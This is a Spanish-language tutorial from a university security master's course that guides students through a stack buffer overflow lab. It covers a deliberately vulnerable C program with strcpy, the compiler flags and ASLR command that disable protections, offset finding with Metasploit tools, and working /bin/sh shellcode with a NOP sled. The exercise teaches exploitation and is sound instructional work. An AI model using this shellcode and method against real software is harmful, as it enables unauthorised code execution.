Sei sulla pagina 1di 14

Actividad: Realizar ataque de desbordamiento de buffer

En la siguiente actividad deberás crear dos exploits para el programa reto.c. El primero deberá
conseguir acceder a la función premio() alterando el flujo del programa y el segundo deberá obtener
una shell local en la propia máquina. Se deberá realizar en la máquina Kali desactivando ASLR y
compilando con las opciones vistas para permitir ejecución de código en la pila

root@kali:~# cat reto.c


#include <stdio.h>
#include <string.h>
void premio()
{
printf("He alterado el flujo del programa\n");
}
int main(int argc, char *argv[])
{
char buffer[100];
if (argc != 2)
{
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
La finalidad del presente documento es facilitar el desarrollo de la actividad, no pretende
ser un copia y pega, o solo sigue lo que describe el documento y ya realizaste la actividad.
La idea es ser una guía que te ayude a alcanzar el objetivo, proporcionando una seria de
pasos que tienes o puedes seguir para desarrollar la actividad solicitada.

Dicho en otras palabras, se pretende que obtengas el conocimiento que busca la actividad
y para ello es necesario que vayas entendiendo:
• Los resultados que debes obtener
• Qué elementos intermedios necesitas obtener y entender para alcanzar el objetivo
• Qué es lo que estás haciendo 😊

1
Primera parte de la actividad: Conseguir acceder a la función
premio()
En esta primera parte se pretende que puedas ejecutar el contenido de la función premio()
(la impresión del mensaje), sin que mandes llamar la función dentro del programa.

Podrás notar qué en el cuerpo principal del programa, no existe ninguna referencia de
llamado a la rutina. Por ello primero es necesario cuestionarse, ¿cómo puedo mandar
ejecutar algo (rutina o código), si no existe llamado directo a éste.

Aquí vale la pena recordar lo visto en clase en relación a qué, para que algo sea ejecutado
por el procesador (CPU), necesita ser apuntado por el registro de contador o instrucción de
programa (IP, EIP), es decir, la dirección física del código a ser ejecutado necesita ser
insertada o copiada de alguna forma a éste registro del CPU.

Entonces para poder cumplir con esta primera parte, necesitamos de alguna forma, hacer
que la dirección física de la rutina premio() se insertada o copiada al registro EIP para que
se ejecute.

Antes de ver cómo se puede conseguir esto, es necesario comentar algunas cosas.

Las vulnerabilidades relacionadas con el buffer overflow (stack, heap, integer, etc.) no son
nuevas y todas puedes ser atribuidas a errores de codificación por parte del programador.
Por tal motivo, los compiladores actuales, llevan a cabo una serie de validaciones para evitar
este problema, y con ello ayudar al programador a realizar su tarea y a generar código
menos vulnerable.

Para poder desarrollar esta actividad, es necesario deshabilitar varias de las funcionalidades
que ofrecen los compiladores, ya que si no lo hacemos, el código no se comportaría como
lo necesitamos.

La siguiente tabla indica las opciones que tenemos que utilizar para la compilación del
programa fuente, y la razón de utilizarlas:

gcc Compilador
-z execstack Poder ejecutar código en la pila
-fno-stack-protector Desactivar la protección de la pila y poder
sobrescribir la pila.

2
-mpreferred-stack-boundary=2 Intento de mantener la pila alineada a este
power de 2 (4 para sistemas de 64 bits)
-g Incluye en el ejecutable generado la
información necesaria para poder rastrear
los errores usando un depurador, tal como
GDB (GNU Debugger).
reto.c Input. Indicar el nombre del programa
fuente
-o reto Output. Escoger el nombre del ejecutable
que produce el compilador

Ejemplo de comando:

gcc -g -fno-stack-protector -z execstack – mpreferred-stackboundory=4 -o reto reto.c

Aunado a lo anterior, es necesario deshabilitar que el espacio utilizado por el programa, en


especial la ubicación del stack, sea generada de forma aleatoria (ASLR [Address Space
Layout Randomization]). Para ello se modificará la siguiente parametrización del sistema
operativo, utilizando el siguiente comando.

echo 0 > /proc/sys/kernel/randomize_va_space

Es necesario corroborar que el valor se haya establecido en 0 (cero), esto se puede hacer
con el siguiente comando:

cat /proc/sys/kernel/randomize_va_space

Uso de la herramienta de debugger (gdb)

Para poder ver las direcciones físicas asignadas a cada una de las instrucciones del programa
(incluyendo ubicación de rutinas), haremos uso de una herramienta de debugger. Kali ya
trae instalada la herramienta “gdb”.

Esta herramienta nos ofrece varias funcionalidades que nos pueden ser útiles para realizar
la actividad, la tabla siguiente muestra algunas de ellas:

3
Gdb Debugger
run Manda la ejecución del programa cargado
por el debugger. Permite introducir los
parámetros o entradas al programa
Ejemplo: run `python -c ‘print “A” * 180 ‘`
list Permite ver el código fuente del programa
que se está ejecutando (siempre y cuando
está disponible)
break Señala un breakpoint de la ejecución
Ejemplos: break 6 (breakpoint in línea 6);
b main (breackpoint en la función main)
clear Limpia todos los breakpoint definidos
info Permite visualizar información sobre el
estado del programa.
A este comando se le necesita añadir qué
es lo que se desea ver, ejemplos:
info registers
Para ver todas las opciones teclear solo info
eXamine Permite examinar posiciones de memoria a
partir de una posición origen
Ejemplo: x/40x $rsp (examina las
siguientes 40 posiciones hexadecimales a
partir de lo que apunta $rsp). En este
ejemplo se está usando rsp por ser 64 bits,
si fuera 32 bits sería esp
disas Desensambla el código y nos muestra las
direcciones físicas relacionadas con el
mismo. Se le debe indicar que función.
Ejemplo: disas premio

4
El desbordamiento (overflow)

Paso 1

• Escribir el programa que vamos a vulnerar (reto.c)


• Deshabilitar ASLR
• Compilar el programa con las opciones para ejecución del stack, protección del stack
deshabilitada, el alineamiento lo podemos dejar por default, y generar el ejecutable

Con esto podemos iniciar el juego 😊

Paso 2

En esta parte se desea conocer el tamaño de argumento que necesitamos pasar para
ocasionar el desbordamiento, es decir, podremos saber el tamaño de cadena que
necesitamos enviar al programa para poder llegar y sobrescribir la dirección de retorno de
la llamada a la función strcpy (que es donde estamos ocasionando el stack overflow), y con
ello poder tomar el control del flujo del programa (ver apuntes relacionados con el formato
del stack en memoria, los campos que se utilizan en su creación, y entender la función de
cada uno de ellos).

• Llamar al debugger poniendo como parámetro el programa (gdb ./reto)


• Ejecutar el programa variando el argumento de entrada y analizando si el programa se
ejecuta bien o tiene problemas. Para el paso de la cadena podemos utilizar cualquier
intérprete (python, perl, ruby, etc.), ejemplo python -c ‘print “A” * 100’

o Se sugiere ir variando el valor de la cadena de 10 en 10 a partir de 100, hasta que


el programa tenga una terminación anormal
o Posterior a ello, volver a retomar el último valor que permitió al programa
terminar bien e incrementarlo de 2 en 2
o En esta parte analizar la información que proporcionar el debugger. Si el
programa termina mal, indica el valor de la dirección que causo el problema (en
este caso la dirección física que intentó ejecutar). Al hacer esto vale la pena
recordar o conocer el valor en hexadecimal de la letra que estamos usando en
la cadena que se le está pasando al programa (ejemplo “A”)

5
o Opcional
▪ Si se desea conocer más a detalle el contenido de los registros se puede
ejecutar el comando de dbg info registers y ver los valores, en especial
los del RBP, RSP e RIP e interpretarlos con respecto a su uso y a la
información que presentan (RBP, RSP RIP son para arquitectura de 64
bits, EBP, ESP y EIP son para 32 bits)

▪ Si se desea ver el valor que tienen los registros posterior al llamado de la


función de copia qué es la que está generando el problema (strcpy, que
es donde se hace la copia del argumento de entrada al buffer), se puede
activar un breakpoint en dicha línea, y analizar la información descrita en
el punto anterior. Para conocer la línea en que debe ser puesto el
breakpoint utilizar el comando list (despliega las líneas de código fuente
de 10 en 10), localizar la línea deseada, poner el breakpoint (b
número_de_línea, ejemplo, b 19) y volver a ejecutar el programa con los
parámetros deseados

Una herramienta que nos puede ayudar en la tarea de saber el tamaño de la cadena que
tenemos que pasar, es proporcionada por metasploit. El Frame de mestasploit nos
proporciona una utilería para la generación patrones no repetidos de caracteres y otra para
ubicar una cadena específica dentro de la cadena antes generada.

Las utilerías son: pattern_create.rb y pattern_offset.rb, se encuentran ubicadas en la


trayectoria /usr/share/metasploit-framework/tools/exploit

6
Con estas utilerías podemos generar una cadena que podemos sustituir por la creada con
el lenguaje intérprete de un punto anterior, y tomando la información que nos proporciona
gbd que indica la dirección de la instrucción que intentó ejecutar que causo el problema
(que es el contenido sobrescrito por el desbordamiento como dirección de la siguiente
instrucción a ejecutar), podemos conocer el tamaño de la cadena que tenemos que pasar
como argumento.

Ejemplo:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150


Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5A
e6Ae7Ae8Ae9

<dentro de gdb>
Reading symbols from ./reto...done.
(gdb) run
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5A
e6Ae7Ae8Ae9
Starting program: /root/BOF/reto
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5A
e6Ae7Ae8Ae9
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5A
e6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.


0x00005555555547b6 in main (argc=2, argv=0x7fffffffe248) at reto.c:20
20 }
(gdb) x/xw $rsp
0x7fffffffe168:0x41306541
<dentro de gdb>

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
0x41306541 -l 150
[*] Exact match at offset 120

7
Paso 3

Una vez que conocemos el tamaño de la cadena que debemos pasar para ocasionar el
desbordamiento y también la posición en que podemos insertar la dirección de regreso para
poder tomar control del flujo, solo nos falta saber la dirección física de la rutina premio e
incorporarla a la cadena que enviamos al programa como argumento para que se mande su
ejecución.

• Obtener la dirección de la rutina premio, esto se puede hacer utilizando el comando


disas dentro de gdb

• Introducir la dirección de la función premio posterior a la cadena que ocasiona el


desbordamiento
o Recordar del paso anterior de qué tamaño debe ser la cadena
o La dirección debe ser incorporada utilizando notación little endian (debido
al procesador Intel), es decir, debe ser pasada en el orden inverso a lo que
estamos acostumbrada a leerla

Ejemplo: 0x0000555555554748
En little endian y hexadecimal quedaría \x48\x47\x55\x55\x55\x55

Entonces el comando que se necesitaría pasar dentro de gbd sería algo como
lo siguiente:

run $(Python -c ‘print “A” * 150 + “\x48\x47\x55\x55\x55\x55”)

Nota: Los valores puestos en el ejemplo no son los reales, éstos los tienes que sustituir por
los encontrados durante todo el ejercicio.

8
Con esto logramos alterar el flujo del programa y ejecutar la rutina sin que esta fuera
llamada dentro del programa.

9
La obtención de la línea de comandos (Shell)
En la primera parte vimos que podemos alterar la ejecución del programa modificando la
dirección física de la siguiente instrucción a ejecutar, en este caso fue la rutina premio().

Una pregunta interesante sería, ¿podemos hacer que el código a ejecutar sea diferente a
uno existente dentro del programa, es decir, nosotros desde el exterior podemos
proporcionar el código de lo que deseamos que se ejecute?, la respuesta es SI.

El objetivo de la segunda parte es la ejecución de un Shell, es decir, hacer que el programa


ejecute un código que nos presente a nosotros una interfaz de comandos (Shell).

Obviamente, dicho código no está dentro del programa que hicimos (reto.c), por ello es
necesario que nosotros se lo proporcionemos.

Surgen las siguientes preguntas: primera ¿cómo le puedo pasar código ejecutable a un
programa?, respuesta a través de sus entradas, en otras palabras, por medio de los
argumentos de entrada. Segunda ¿cómo hago que el programa ejecute el código que estoy
introduciendo?, respuesta haciendo que la dirección de la instrucción a ejecutar concuerde
con la ubicación del código que estamos introduciendo.

Paso1

El código en ensamblador para la ejecución de un Shell, la podemos encontrar haciendo una


búsqueda en Internet.

Un ejemplo de dicho código es el siguiente:

\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\
x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

Paso 2

Sabemos de la primera parte qué si enviamos un argumento de cierto tamaño, podemos


ocasionar un desbordamiento y modificar la dirección de la siguiente instrucción a ejecutar.
Vale la pena recordar que el contenido del argumento no nos importó, sólo el valor que
utilizamos para sustituir la dirección de regreso.

Si conocemos esto, no debería haber ningún problema en incorporar el código descrito en


el paso anterior como parte de la cadena utilizada para el desbordamiento, y hacer que la
dirección de regreso apunte a dicho código.

10
Incluso podemos hacer que la cadena que le enviamos al programa contenga código que el
procesador interpreta como instrucciones a ignorar. Esto nos puede servir para situaciones
en que no conozcamos la dirección exacta de dónde inicia el código a ejecutar, sino alguna
anterior. El código en hexadecimal de esta instrucción conocida como NOP es \x90.

Paso 3

Con la información anterior, y para facilitar la actividad, vale la pena crear un archivo que
contenga todo lo descrito, es decir, el código para la ejecución del Shell, el espacio de
instrucciones NOP para poder brincar (ubicado antes del código del Shell), el relleno o
padding para poder llegar al tamaño de cadena necesario para ocasionar el desbordamiento
y la dirección física a la cual queremos brincar.

El archivo contendrá entonces:


• NOPs
• Código del Shell
• Relleno
• Dirección a brincar

Nota. Para la dirección se puede usar primero seis caracteres ejemplo DDDDDD, y posterior
cambiarlos a la dirección deseada, por el momento el valor seleccionado debemos poder
distinguirlo de los demás valores pasados al programa y que podamos identificarlos dentro
del debugger.

El archivo debe quedar algo así como lo siguiente:

Nota. Recordar que los tamaños utilizado para el cálculo de la variable relleno y la dirección
definida de regreso (eip) puede no ser los necesarios para que funcione, es necesario
ajustarlos a los encontrados durante la actividad.

Para poder correr el archivo recién creado, necesitamos volverlo ejecutable, es decir,
cambiar los permisos del mismo (incluir o activar la bandera de ejecución o permiso x
utilizando el comando chmod, investigar cómo hacerlo 😊 )

11
Vale la pena corroborar que el programa es ejecutable y que genera lo que necesitamos.

Paso 4

Lo que nos falta saber ahora, es la dirección a la cual tenemos que brincar para la ejecución
del código Shell.

Para ello, iniciamos una sesión de gdb con el programa reto.

Podemos ejecutar el programa pasando como parámetro el archivo recién creado. Con ello
validar que funciona como lo deseamos (que ocasionamos el desbordamiento y verificar
que la dirección que trata de ejecutar concuerda con lo que definimos dentro del archivo).

Para su ejecución podemos utilizar lo siguiente:

run $(./shell.py)

Una vez que nos aseguramos que todo funciona, sólo nos falta saber la dirección que vamos
a utilizar para incluir dentro del archivo y que corresponda con la ubicación del código
ejecutable del Shell.

Para lograr esto, podemos definir un breakpoint dentro de gdb, de tal forma que la
ejecución se detenga justo después de mandar llamar la instrucción strcpy, y con ello
podamos tener acceso a todo lo que está ubicado dentro del stack (que es lo que le estamos
pasando como argumento externo y que a su vez es utilizado por strcpy como parámetro
de entrada para la copia a la variable buffer).

Para lograr esto, desplegamos dentro de gdb el programa con el comando list y buscamos
la línea posterior a la instrucción strcpy. Con esta información definimos un breakpoint para
dicha línea (ejemplo b 20).

Si volvemos a ejecutar el programa, podremos visualizar el contenido del stack y ver a que
dirección debemos saltar para la ejecución del código Shell. Para ver esta información, una
vez que el programa haga una pausa debida a la incorporación del breakpoint, le pedimos
nos muestre el contenido del stack, por ejemplo las 40 posiciones posteriores a donde
apunte el registro SP (x/40x $rsp), mayor información sobre estos parámetros lo pueden
buscar en Internet), también se puede consultar el valor de los registros sólo para
corroborar que concuerda con la información pasada por el programa (RIP por ejemplo).

12
En la imagen se puede apreciar los NOP, el código Shell, el relleno y el valor puesto en la
variable eip.

Con esta información podemos seleccionar la dirección física a la que queremos que
brinque el programa. Debido a que utilizamos un segmento de NOPs antes del código
ejecutable, podemos asignar cualquier dirección, dentro de este bloque de instrucciones
ubicada antes del código Shell. Hagan la prueba con varias y verán que todas funcionan.

Ya solo nos falta modificar el archivo para incluir el valor correcto a la variable eig, y volver
a ejecutar el programa para que ahora se ejecute el Shell y podamos tomar control del
sistema 😊 .

Segunda parte concluida.

Notas adicionales

Algo de conceptos.

Los términos que comunes para las diferentes partes que utilizamos para vulnerar un
equipo son los siguientes:

13
Exploit.- Código o elementos utilizados para vulnerar el equipo o programa. En nuestro caso
fue la cadena que ocasiona el desbordamiento del stack.

Paydload.- Código que se desea ejecutar para interactuar con el equipo o sistema
vulnerado. En nuestro ejemplo se utilizo un código que ejecuta un Shell.

Dirección de brinco.- Dirección que se introduce para alterar el flujo del programa.
Dependiendo de lo que se desea hacer, la dirección de brinco puede apuntar a una rutina
interna, parámetro pasado al sistema (como fue en los casos tratados en este documento),
o a instrucciones de alguno de los módulos utilizados por el sistema, ejemplo alguno de los
dlls utilizados por el sistema operativo para la ejecución de un programa.

Posibilidades para vulnerar un sistema

El procedimiento descrito dentro de este documento, es tan solo una de las diferentes
posibilidades.

Por ejemplo, la cadena puede ser pasada como variable de ambiente, el paydload puede
encontrarse posterior a la dirección de brinco, o estar ubicado en el heap, etc.

Depende de la creatividad del atacante, buscar una o la mejor forma de vulnerar un sistema.

Nota Final

El presente documento fue elaborado para el desarrollo de la actividad de desbordamiento


de un buffer, como parte de la Maestría en Seguridad impartida por UNIR, y tiene finalidad
únicamente didáctica. Cualquier otro uso no es responsable ni la Institución ni del autor.

Autor

José Alfredo Torres Solano


Versión 1.0 enero 2018

14

Potrebbero piacerti anche